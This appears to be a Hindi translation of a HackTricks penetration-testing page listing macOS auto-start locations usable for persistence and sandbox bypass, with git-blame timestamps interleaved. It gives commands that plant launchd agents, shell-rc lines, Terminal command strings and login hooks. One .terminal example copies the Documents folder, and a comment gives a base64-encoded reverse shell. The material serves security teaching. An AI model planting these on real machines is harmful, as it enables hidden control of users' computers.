2023-11-06 08:38:02 +00:00
# macOS ऑटो स्टार्ट
2023-06-01 21:09:46 +00:00
< details >
< summary > < a href = "https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology" > < strong > ☁️ HackTricks Cloud ☁️< / strong > < / a > -< a href = "https://twitter.com/hacktricks_live" > < strong > 🐦 Twitter 🐦< / strong > < / a > - < a href = "https://www.twitch.tv/hacktricks_live/schedule" > < strong > 🎙️ Twitch 🎙️< / strong > < / a > - < a href = "https://www.youtube.com/@hacktricks_LIVE" > < strong > 🎥 Youtube 🎥< / strong > < / a > < / summary >
2023-11-06 08:38:02 +00:00
* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड** करने की उपलब्धता चाहिए? [**सदस्यता योजनाएं** ](https://github.com/sponsors/carlospolop ) की जांच करें!
* खोजें [**The PEASS Family** ](https://opensea.io/collection/the-peass-family ), हमारा विशेष संग्रह [**NFTs** ](https://opensea.io/collection/the-peass-family )
* प्राप्त करें [**आधिकारिक PEASS & HackTricks swag** ](https://peass.creator-spring.com )
* **शामिल हों** [**💬** ](https://emojipedia.org/speech-balloon/ ) [**Discord समूह** ](https://discord.gg/hRep4RUj7f ) या [**टेलीग्राम समूह** ](https://t.me/peass ) या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦** ](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md )[**@carlospolopm** ](https://twitter.com/hacktricks\_live )**.**
* **अपने हैकिंग ट्रिक्स साझा करें और PRs सबमिट करें** [**hacktricks repo** ](https://github.com/carlospolop/hacktricks ) **और** [**hacktricks-cloud repo** ](https://github.com/carlospolop/hacktricks-cloud ) **को** .
2023-06-01 21:09:46 +00:00
< / details >
2023-11-06 08:38:02 +00:00
यह खंड मुख्य रूप से ब्लॉग श्रृंखला [**Beyond the good ol' LaunchAgents** ](https://theevilbit.github.io/beyond/ ) पर आधारित है, उद्देश्य है कि **अधिक ऑटोस्टार्ट स्थानों** (यदि संभव हो) को जोड़ें, नवीनतम macOS (13.4) के साथ **कौन से तकनीक काम कर रही हैं** और अनुमतियों को निर्दिष्ट करें।
2023-06-01 21:09:46 +00:00
2023-11-06 08:38:02 +00:00
## सैंडबॉक्स बाईपास
2023-09-28 20:05:35 +00:00
{% hint style="success" %}
2023-11-06 08:38:02 +00:00
यहां आपको सैंडबॉक्स बाईपास के लिए उपयोगी स्टार्ट स्थान मिलेंगे जो आपको केवल कुछ को **एक फ़ाइल में लिखकर** और एक बहुत **सामान्य क्रिया** , निर्धारित **समय की मात्रा** या एक **क्रिया** के लिए **प्रतीक्षा** करने की अनुमति देता है, जिसे आप सामान्यतः रूट अनुमतियों की आवश्यकता नहीं होती है।
2023-09-28 20:05:35 +00:00
{% endhint %}
2023-06-01 21:09:46 +00:00
### Launchd
2023-11-06 08:38:02 +00:00
* सैंडबॉक्स बाईपास के लिए उपयोगी: [✅ ](https://emojipedia.org/check-mark-button )
2023-09-28 20:05:35 +00:00
2023-11-06 08:38:02 +00:00
#### स्थान
2023-09-28 15:09:34 +00:00
* **`/Library/LaunchAgents`**
2023-11-06 08:38:02 +00:00
* **ट्रिगर**: पुनरारंभ
* रूट अनुमति आवश्यक
2023-09-28 15:09:34 +00:00
* **`/Library/LaunchDaemons`**
2023-11-06 08:38:02 +00:00
* **ट्रिगर**: पुनरारंभ
* रूट अनुमति आवश्यक
2023-09-28 15:09:34 +00:00
* **`/System/Library/LaunchAgents`**
2023-11-06 08:38:02 +00:00
* **ट्रिगर**: पुनरारंभ
* रूट अनुमति आवश्यक
2023-09-28 15:09:34 +00:00
* **`/System/Library/LaunchDaemons`**
2023-11-06 08:38:02 +00:00
* **ट्रिगर**: पुनरारंभ
* रूट अनुमति आवश्यक
2023-09-28 15:09:34 +00:00
* **`~/Library/LaunchAgents`**
2023-11-06 08:38:02 +00:00
* **ट्रिगर**: पुनरारंभ
2023-09-28 15:09:34 +00:00
* **`~/Library/LaunchDemons`**
2023-11-06 08:38:02 +00:00
* **ट्रिगर**: पुनरारंभ
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
#### विवरण और शोषण
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
**`launchd`** ओएस एक्स कर्नल द्वारा स्टार्टअप पर सबसे पहला प्रक्रिया है और बंद होने पर अंतिम होता है। इसे हमेशा **PID 1** होना चाहिए। यह प्रक्रिया **ASEP** **plists** में निर्दिष्ट विन्यासों को पढ़ेगी और निष्पादित करेगी:
2023-06-01 21:09:46 +00:00
2023-11-06 08:38:02 +00:00
* `/Library/LaunchAgents` : प्रशासक द्वारा स्थापित प्रति-उपयोगकर्ता एजेंट
* `/Library/LaunchDaemons` : प्रशासक द्वारा स्थापित सिस्टम-व्यापी डेमन
* `/System/Library/LaunchAgents` : Apple द्वारा प्रदान किए गए प्रति-उपयोगकर्ता एजेंट
* `/System/Library/LaunchDaemons` : Apple द्वारा प्रदान किए गए सिस्टम-व्यापी डेमन
2023-06-01 21:09:46 +00:00
2023-11-06 08:38:02 +00:00
जब एक उपयोगकर्ता लॉग इन करता है, `/Users/$USER/Library/LaunchAgents` और `/Users/$USER/Library/LaunchDemons` में स्थित plists **लॉग इन करने वाले उपयोगकर्ता की अनुमतियों** के साथ शुरू हो जाते हैं।
2023-06-01 21:09:46 +00:00
2023-11-06 08:38:02 +00:00
**एजेंट और डेमन के मुख्य अंतर है कि एजेंट उपयोगकर्ता लॉग इन करते ही लोड होते हैं और डेमन सिस्टम स्टार्टअप पर लोड होते हैं** (क्योंकि ssh जैसी सेवाएं हैं जो किसी भी उपयोगकर्ता को सिस्टम तक पहुंचने से पहले निष्पादित होने की आवश्यकता होती है)। इसके अलावा, एजेंट GUI का उपयोग कर सकते हैं जबकि डेमन को पिछले प्लेन में चलाने की आवश्यकता होती है।
2023-06-01 21:09:46 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
< plist version = "1.0" >
< dict >
2023-11-06 08:38:02 +00:00
< key > Label< / key >
< string > com.apple.someidentifier< / string >
< key > ProgramArguments< / key >
< array >
< string > bash -c 'touch /tmp/launched'< / string > <!-- Prog to execute -->
< / array >
< key > RunAtLoad< / key > < true / > <!-- Execute at system startup -->
< key > StartInterval< / key >
< integer > 800< / integer > <!-- Execute each 800s -->
< key > KeepAlive< / key >
< dict >
< key > SuccessfulExit< / key > < / false > <!-- Re - execute if exit unsuccessful -->
<!-- If previous is true, then re - execute in successful exit -->
< / dict >
2023-06-01 21:09:46 +00:00
< / dict >
< / plist >
```
2023-11-06 08:38:02 +00:00
ऐसे मामलों में होता है जहां **उपयोगकर्ता लॉगिन करने से पहले एक एजेंट को निष्पादित किया जाना चाहिए** , इन्हें **प्रीलॉगिन एजेंट्स** कहा जाता है। उदाहरण के लिए, यह लॉगिन पर सहायक प्रौद्योगिकी प्रदान करने के लिए उपयोगी होता है। इन्हें `/Library/LaunchAgents` में भी पाया जा सकता है (एक उदाहरण के लिए [**यहां** ](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents ) देखें)।
2023-06-01 21:09:46 +00:00
2023-09-28 15:09:34 +00:00
{% hint style="info" %}
2023-11-06 08:38:02 +00:00
नए डेमन या एजेंट कॉन्फ़िग फ़ाइलें **अगले बूट या** `launchctl load <target.plist>` का उपयोग करके लोड होंगी। इसके साथ ही `.plist` एक्सटेंशन के बिना भी `launchctl -F <file>` का उपयोग करके .plist फ़ाइलें लोड की जा सकती हैं (हालांकि ये plist फ़ाइलें बूट के बाद स्वचालित रूप से लोड नहीं होंगी)।\
`launchctl unload <target.plist>` का उपयोग करके **अनलोड** भी किया जा सकता है (इसके द्वारा इसे संकेतित प्रक्रिया समाप्त हो जाएगी)।
2023-06-01 21:09:46 +00:00
2023-11-06 08:38:02 +00:00
यह सुनिश्चित करने के लिए कि कोई **एजेंट** या **डेमन** **को** **चलाने से** **रोकने वाली** कोई **चीज़** (जैसे ओवरराइड) **नहीं है** , निम्नलिखित को चलाएं: `sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist`
2023-09-28 15:09:34 +00:00
{% endhint %}
2023-06-01 21:09:46 +00:00
2023-11-06 08:38:02 +00:00
वर्तमान उपयोगकर्ता द्वारा लोड किए गए सभी एजेंट और डेमनों की सूची:
2023-06-01 21:09:46 +00:00
```bash
launchctl list
```
2023-11-02 16:52:21 +00:00
{% hint style="warning" %}
2023-11-06 08:38:02 +00:00
यदि एक plist एक उपयोगकर्ता के द्वारा स्वामी सिस्टम वाइड फ़ोल्डर में होता है, तो कार्य उपयोगकर्ता के रूप में और न कि रूट के रूप में निष्पादित होगा। इससे कुछ प्रिविलेज उन्नयन हमलों को रोका जा सकता है।
2023-11-02 16:52:21 +00:00
{% endhint %}
2023-11-06 08:38:02 +00:00
### शैल स्टार्टअप फ़ाइलें
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
लेख: [https://theevilbit.github.io/beyond/beyond\_0001/ ](https://theevilbit.github.io/beyond/beyond\_0001/ )\
लेख (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/ ](https://theevilbit.github.io/beyond/beyond\_0018/ )
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
* सूचीबद्ध सूचीबद्ध करने के लिए उपयोगी: [✅ ](https://emojipedia.org/check-mark-button )
2023-09-28 20:05:35 +00:00
2023-11-06 08:38:02 +00:00
#### स्थान
2023-09-28 15:09:34 +00:00
* **`~/.zshrc`, `~/.zlogin` , `~/.zshenv` , `~/.zprofile` **
2023-11-06 08:38:02 +00:00
* **ट्रिगर**: zsh के साथ एक टर्मिनल खोलें
2023-09-28 15:09:34 +00:00
* **`/etc/zshenv`, `/etc/zprofile` , `/etc/zshrc` , `/etc/zlogin` **
2023-11-06 08:38:02 +00:00
* **ट्रिगर**: zsh के साथ एक टर्मिनल खोलें
* रूट की आवश्यकता होती है
2023-09-28 15:09:34 +00:00
* **`~/.zlogout`**
2023-11-06 08:38:02 +00:00
* **ट्रिगर**: zsh के साथ एक टर्मिनल से बाहर निकलें
2023-09-28 15:09:34 +00:00
* **`/etc/zlogout`**
2023-11-06 08:38:02 +00:00
* **ट्रिगर**: zsh के साथ एक टर्मिनल से बाहर निकलें
* रूट की आवश्यकता होती है
* संभावित रूप में अधिक: ** `man zsh` **
2023-09-28 15:09:34 +00:00
* **`~/.bashrc`**
2023-11-06 08:38:02 +00:00
* **ट्रिगर**: bash के साथ एक टर्मिनल खोलें
* `/etc/profile` (काम नहीं किया)
* `~/.profile` (काम नहीं किया)
2023-09-28 15:09:34 +00:00
* `~/.xinitrc` , `~/.xserverrc` , `/opt/X11/etc/X11/xinit/xinitrc.d/`
2023-11-06 08:38:02 +00:00
* **ट्रिगर**: xterm के साथ ट्रिगर करने की उम्मीद है, लेकिन यह **स्थापित नहीं है** और स्थापित करने के बाद भी यह त्रुटि उठाई जाती है: xterm: `DISPLAY is not set`
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
#### विवरण और शोषण
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
शैल स्टार्टअप फ़ाइलें हमारे शैल पर्यावरण को शुरू करने के समय निष्पादित होती हैं, जैसे कि `zsh` या `bash` । आजकल macOS डिफ़ॉल्ट रूप से `/bin/zsh` पर जाता है, और **जब हम `Terminal` खोलते हैं या उपकरण में SSH करते हैं** , यही शैल पर्यावरण है जिसमें हम रखे जाते हैं। `bash` और `sh` अभी भी उपलब्ध हैं, हालांकि उन्हें विशेष रूप से प्रारंभ किया जाना चाहिए।
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
हम शैल स्टार्टअप फ़ाइलों का वर्णन पढ़ सकते हैं, जिसे हम ** `man zsh` ** के साथ पढ़ सकते हैं।
2023-09-28 15:09:34 +00:00
```bash
# Example executino via ~/.zshrc
echo "touch /tmp/hacktricks" >> ~/.zshrc
```
2023-11-06 08:38:02 +00:00
### फिर से खोले गए एप्लिकेशन्स
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
{% hint style="danger" %}
2023-11-06 08:38:02 +00:00
मुझे इस ऐप को चलाने के लिए इंजेक्शन को कॉन्फ़िगर करने और लॉगआउट और लॉगइन या यहां तक कि रिबूट करने की कोशिश की, लेकिन यह काम नहीं किया। (ऐप चलाया नहीं जा रहा था, शायद इन कार्रवाइयों को करने के दौरान यह चल रहा होना चाहिए)
2023-09-28 20:05:35 +00:00
{% endhint %}
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0021/ ](https://theevilbit.github.io/beyond/beyond\_0021/ )
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
* सैंडबॉक्स को बाईपास करने के लिए उपयोगी: [✅ ](https://emojipedia.org/check-mark-button )
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
#### स्थान
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* **`~/Library/Preferences/ByHost/com.apple.loginwindow.< UUID > .plist`**
2023-11-06 08:38:02 +00:00
* **ट्रिगर**: एप्लिकेशनों को फिर से खोलने पर पुनरारंभ करें
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
#### विवरण और इंजेक्शन
2023-09-28 20:05:35 +00:00
2023-11-06 08:38:02 +00:00
सभी फिर से खोलने वाले एप्लिकेशन `~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist` में होते हैं।
2023-09-28 20:05:35 +00:00
2023-11-06 08:38:02 +00:00
तो, अपने एप्लिकेशन को खोलने के लिए फिर से खोलने वाले एप्लिकेशनों में अपना एप्लिकेशन **सूची में जोड़ना** होगा।
2023-09-28 20:05:35 +00:00
2023-11-06 08:38:02 +00:00
UUID उस निर्देशिका को सूचीबद्ध करके या `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'` के साथ पाया जा सकता है।
2023-09-28 20:05:35 +00:00
2023-11-06 08:38:02 +00:00
फिर से खोले जाने वाले एप्लिकेशनों की जांच करने के लिए आप कर सकते हैं:
2023-09-28 20:05:35 +00:00
```bash
defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
#or
plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.< UUID > .plist
2023-09-28 15:09:34 +00:00
```
2023-11-06 08:38:02 +00:00
इस सूची में एक एप्लिकेशन जोड़ने के लिए आप निम्नलिखित का उपयोग कर सकते हैं:
2023-09-28 15:09:34 +00:00
```bash
2023-09-28 20:05:35 +00:00
# Adding iTerm2
/usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \
2023-11-06 08:38:02 +00:00
-c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \
-c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \
-c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \
-c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \
~/Library/Preferences/ByHost/com.apple.loginwindow.< UUID > .plist
2023-09-28 15:09:34 +00:00
```
2023-11-06 08:38:02 +00:00
### टर्मिनल प्राथमिकताएं
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
* सैंडबॉक्स को छलने के लिए उपयोगी: [✅ ](https://emojipedia.org/check-mark-button )
2023-10-01 18:04:16 +00:00
2023-11-06 08:38:02 +00:00
#### स्थान
2023-10-01 18:04:16 +00:00
* **`~/Library/Preferences/com.apple.Terminal.plist`**
2023-11-06 08:38:02 +00:00
* **ट्रिगर**: टर्मिनल खोलें
2023-10-01 18:04:16 +00:00
2023-11-06 08:38:02 +00:00
#### विवरण और उत्पीड़न
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
**`~/Library/Preferences`** में एप्लिकेशन में उपयोगकर्ता की प्राथमिकताएं संग्रहित होती हैं। इनमें से कुछ प्राथमिकताएं अन्य एप्लिकेशन/स्क्रिप्ट को **चलाने के लिए एक कॉन्फ़िगरेशन** रख सकती हैं।
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
उदाहरण के लिए, टर्मिनल स्टार्टअप में एक कमांड चला सकता है:
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
< figure > < img src = "../.gitbook/assets/image (676).png" alt = "" width = "495" > < figcaption > < / figcaption > < / figure >
2023-11-06 08:38:02 +00:00
यह कॉन्फ़िगरेशन फ़ाइल ** `~/Library/Preferences/com.apple.Terminal.plist` ** में इस प्रकार से प्रतिबिंबित होती है:
2023-09-28 15:09:34 +00:00
```bash
2023-09-28 20:05:35 +00:00
[...]
"Window Settings" => {
2023-11-06 08:38:02 +00:00
"Basic" => {
"CommandString" => "touch /tmp/terminal_pwn"
"Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf }
"FontAntialias" => 1
"FontWidthSpacing" => 1.004032258064516
"name" => "Basic"
"ProfileCurrentVersion" => 2.07
"RunCommandAsShell" => 0
"type" => "Window Settings"
}
2023-09-28 20:05:35 +00:00
[...]
2023-09-28 15:09:34 +00:00
```
2023-11-06 08:38:02 +00:00
तो, अगर सिस्टम में टर्मिनल की प्राथमिकताओं की प्लिस्ट अधिलेखित की जा सकती है, तो ** `open` ** कार्यक्षमता का उपयोग करके **टर्मिनल खोली जा सकती है और उस कमांड को निष्पादित किया जाएगा** ।
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
आप इसे कमांड लाइन से जोड़ सकते हैं:
2023-09-28 15:09:34 +00:00
{% code overflow="wrap" %}
```bash
# Add
2023-09-28 20:05:35 +00:00
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"RunCommandAsShell\" 0" $HOME/Library/Preferences/com.apple.Terminal.plist
2023-09-28 15:09:34 +00:00
# Remove
2023-09-28 20:05:35 +00:00
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist
2023-09-28 15:09:34 +00:00
```
{% endcode %}
2023-11-06 08:38:02 +00:00
### टर्मिनल स्क्रिप्ट्स
2023-10-01 18:04:16 +00:00
2023-11-06 08:38:02 +00:00
* सैंडबॉक्स को छलने के लिए उपयोगी: [✅ ](https://emojipedia.org/check-mark-button )
2023-10-01 18:04:16 +00:00
2023-11-06 08:38:02 +00:00
#### स्थान
2023-10-01 18:04:16 +00:00
2023-11-06 08:38:02 +00:00
* **कहीं भी**
* **ट्रिगर**: टर्मिनल खोलें
2023-10-01 18:04:16 +00:00
2023-11-06 08:38:02 +00:00
#### विवरण और शोषण
2023-10-01 18:04:16 +00:00
2023-11-06 08:38:02 +00:00
यदि आप एक [**`.terminal`** स्क्रिप्ट ](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx ) बनाते हैं और उसे खोलते हैं, तो **टर्मिनल एप्लिकेशन** स्वचालित रूप से आपके द्वारा निर्दिष्ट किए गए कमांड को निष्पादित करने के लिए आह्वानित किया जाएगा। यदि टर्मिनल ऐप को कुछ विशेष अधिकार (जैसे TCC) होते हैं, तो आपका कमांड उन विशेष अधिकारों के साथ चलाया जाएगा।
2023-10-01 18:04:16 +00:00
2023-11-06 08:38:02 +00:00
इसे निम्नलिखित के साथ प्रयास करें:
2023-10-01 18:04:16 +00:00
```bash
# Prepare the payload
cat > /tmp/test.terminal < < EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
< plist version = "1.0" >
< dict >
2023-11-06 08:38:02 +00:00
< key > CommandString< / key >
< string > mkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents;< / string >
< key > ProfileCurrentVersion< / key >
< real > 2.0600000000000001< / real >
< key > RunCommandAsShell< / key >
< false / >
< key > name< / key >
< string > exploit< / string >
< key > type< / key >
< string > Window Settings< / string >
2023-10-01 18:04:16 +00:00
< / dict >
< / plist >
EOF
# Trigger it
open /tmp/test.terminal
# Use something like the following for a reverse shell:
< string > echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;< / string >
```
{% hint style="danger" %}
2023-11-06 08:38:02 +00:00
यदि टर्मिनल में **पूर्ण डिस्क एक्सेस** है तो वह कार्रवाई पूरी कर सकेगा (ध्यान दें कि टर्मिनल विंडो में निष्पादित कमांड दिखाई देगा)।
2023-10-01 18:04:16 +00:00
{% endhint %}
2023-11-06 08:38:02 +00:00
### ऑडियो प्लगइन्स
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
लेख: [https://theevilbit.github.io/beyond/beyond\_0013/ ](https://theevilbit.github.io/beyond/beyond\_0013/ )\
लेख: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882 ](https://posts.specterops.io/audio-unit-plug-ins-896d3434a882 )
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
#### स्थान
2023-09-28 20:05:35 +00:00
* **`/Library/Audio/Plug-Ins/HAL`**
2023-11-06 08:38:02 +00:00
* रूट की आवश्यकता है
* **ट्रिगर**: coreaudiod या कंप्यूटर को पुनः आरंभ करें
2023-09-28 20:05:35 +00:00
* **`/Library/Audio/Plug-ins/Components`**
2023-11-06 08:38:02 +00:00
* रूट की आवश्यकता है
* **ट्रिगर**: coreaudiod या कंप्यूटर को पुनः आरंभ करें
2023-09-28 20:05:35 +00:00
* **`~/Library/Audio/Plug-ins/Components`**
2023-11-06 08:38:02 +00:00
* **ट्रिगर**: coreaudiod या कंप्यूटर को पुनः आरंभ करें
2023-09-28 20:05:35 +00:00
* **`/System/Library/Components`**
2023-11-06 08:38:02 +00:00
* रूट की आवश्यकता है
* **ट्रिगर**: coreaudiod या कंप्यूटर को पुनः आरंभ करें
2023-09-28 20:05:35 +00:00
2023-11-06 08:38:02 +00:00
#### विवरण
2023-09-28 20:05:35 +00:00
2023-11-06 08:38:02 +00:00
पिछले लेखों के अनुसार, कुछ ऑडियो प्लगइन्स को **कंपाइल** किया जा सकता है और उन्हें लोड किया जा सकता है।
2023-09-28 20:05:35 +00:00
2023-11-06 08:38:02 +00:00
### क्विकलुक प्लगइन्स
2023-09-28 20:05:35 +00:00
2023-11-06 08:38:02 +00:00
लेख: [https://theevilbit.github.io/beyond/beyond\_0028/ ](https://theevilbit.github.io/beyond/beyond\_0028/ )
2023-09-28 20:05:35 +00:00
2023-11-06 08:38:02 +00:00
* सैंडबॉक्स को छोड़ने के लिए उपयोगी: [✅ ](https://emojipedia.org/check-mark-button )
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
#### स्थान
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* `/System/Library/QuickLook`
* `/Library/QuickLook`
* `~/Library/QuickLook`
* `/Applications/AppNameHere/Contents/Library/QuickLook/`
* `~/Applications/AppNameHere/Contents/Library/QuickLook/`
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
#### विवरण और शोषण
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
क्विकलुक प्लगइन्स को **फ़ाइल के पूर्वावलोकन** को ट्रिगर करने पर (फ़ाइल को फ़ाइंडर में चयनित करके स्पेस बार दबाएं) और उस फ़ाइल प्रकार का समर्थन करने वाला **प्लगइन स्थापित** होने पर निष्पादित किया जा सकता है।
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
आप अपना खुद का क्विकलुक प्लगइन कंपाइल कर सकते हैं, उसे पिछले स्थानों में रख सकते हैं और फिर समर्थित फ़ाइल पर जाएं और उसे ट्रिगर करने के लिए स्पेस बार दबाएं।
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
### ~~लॉगिन/लॉगआउट हुक~~
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
{% hint style="danger" %}
2023-11-06 08:38:02 +00:00
मेरे साथ यह काम नहीं किया, न तो उपयोगकर्ता लॉगिन हुक और न ही रूट लॉगआउट हुक
2023-09-28 20:05:35 +00:00
{% endhint %}
2023-11-06 08:38:02 +00:00
**लेख**: [https://theevilbit.github.io/beyond/beyond\_0022/ ](https://theevilbit.github.io/beyond/beyond\_0022/ )
2023-09-28 20:05:35 +00:00
2023-11-06 08:38:02 +00:00
सैंडबॉक्स को छोड़ने के लिए उपयोगी: [✅ ](https://emojipedia.org/check-mark-button )
2023-09-28 20:05:35 +00:00
2023-11-06 08:38:02 +00:00
#### स्थान
2023-09-28 20:05:35 +00:00
2023-11-06 08:38:02 +00:00
* आपको कुछ ऐसा करने की क्षमता होनी चाहिए जैसे `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh` को निष्पादित करने की
* `~/Library/Preferences/com.apple.loginwindow.plist` में स्थित हैं
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
वे पुराने हो गए हैं लेकिन उपयोगकर्ता लॉगिन होने पर कमांड निष्पादित करने के लिए उपयोग किए जा सकते हैं।
2023-09-28 15:09:34 +00:00
```bash
2023-09-28 20:05:35 +00:00
cat > $HOME/hook.sh < < EOF
#!/bin/bash
echo 'My is: \`id\`' > /tmp/login_id.txt
EOF
chmod +x $HOME/hook.sh
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh
2023-09-28 15:09:34 +00:00
```
2023-11-06 08:38:02 +00:00
यह सेटिंग `/Users/$USER/Library/Preferences/com.apple.loginwindow.plist` में संग्रहीत होती है।
2023-09-28 15:09:34 +00:00
```bash
2023-09-28 20:05:35 +00:00
defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
{
2023-11-06 08:38:02 +00:00
LoginHook = "/Users/username/hook.sh";
LogoutHook = "/Users/username/hook.sh";
MiniBuddyLaunch = 0;
TALLogoutReason = "Shut Down";
TALLogoutSavesState = 0;
oneTimeSSMigrationComplete = 1;
2023-09-28 20:05:35 +00:00
}
2023-09-28 15:09:34 +00:00
```
2023-11-06 08:38:02 +00:00
इसे हटाने के लिए:
2023-09-28 20:05:35 +00:00
```bash
defaults delete com.apple.loginwindow LoginHook
defaults delete com.apple.loginwindow LogoutHook
```
2023-11-06 08:38:02 +00:00
**`/private/var/root/Library/Preferences/com.apple.loginwindow.plist`** में रूट उपयोगकर्ता का एक संग्रहित होता है।
2023-09-28 20:05:35 +00:00
2023-11-06 08:38:02 +00:00
## शर्ताधीन सैंडबॉक्स बाईपास
2023-09-28 20:05:35 +00:00
{% hint style="success" %}
2023-11-06 08:38:02 +00:00
यहां आपको **सैंडबॉक्स बाईपास** के लिए उपयोगी स्टार्ट स्थान मिलेंगे जो आपको केवल किसी फ़ाइल में लिखकर कुछ को **एक्सीक्यूट करने की अनुमति देते हैं** और उम्मीद करते हैं कि ऐसी कोई **विशेष प्रोग्राम स्थापित, "असामान्य" उपयोगकर्ता** क्रियाएँ या पर्यावरण न हों।
2023-09-28 15:09:34 +00:00
{% endhint %}
2023-11-06 08:38:02 +00:00
### क्रॉन
2023-06-01 21:09:46 +00:00
2023-11-06 08:38:02 +00:00
**लेख**: [https://theevilbit.github.io/beyond/beyond\_0004/ ](https://theevilbit.github.io/beyond/beyond\_0004/ )
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
* सैंडबॉक्स बाईपास के लिए उपयोगी: [✅ ](https://emojipedia.org/check-mark-button )
* हालांकि, आपको `crontab` बाइनरी को एक्सीक्यूट करने की क्षमता होनी चाहिए
* या रूट होना चाहिए
2023-09-28 20:05:35 +00:00
2023-11-06 08:38:02 +00:00
#### स्थान
2023-09-28 15:09:34 +00:00
* **`/usr/lib/cron/tabs/`, `/private/var/at/tabs` , `/private/var/at/jobs` , `/etc/periodic/` **
2023-11-06 08:38:02 +00:00
* सीधी लेखन पहुंच के लिए रूट की आवश्यकता होती है। `crontab <file>` को एक्सीक्यूट कर सकते हैं तो रूट की आवश्यकता नहीं होती है
* **ट्रिगर**: क्रॉन जॉब पर निर्भर करेगा
2023-06-01 21:09:46 +00:00
2023-11-06 08:38:02 +00:00
#### विवरण और शोषण
2023-06-01 21:09:46 +00:00
```bash
crontab -l
```
2023-11-06 08:38:02 +00:00
आप यूजर्स के सभी क्रॉन जॉब्स को भी देख सकते हैं ** `/usr/lib/cron/tabs/` ** और ** `/var/at/tabs/` ** में (रूट अधिकार चाहिए।)
2023-06-01 21:09:46 +00:00
2023-11-06 08:38:02 +00:00
MacOS में कई फ़ोल्डर होते हैं जो **निश्चित अंतराल** के साथ स्क्रिप्ट्स को निष्पादित करते हैं:
2023-06-01 21:09:46 +00:00
```bash
2023-09-28 20:05:35 +00:00
# The one with the cron jobs is /usr/lib/cron/tabs/
2023-06-01 21:09:46 +00:00
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
```
2023-11-06 08:38:02 +00:00
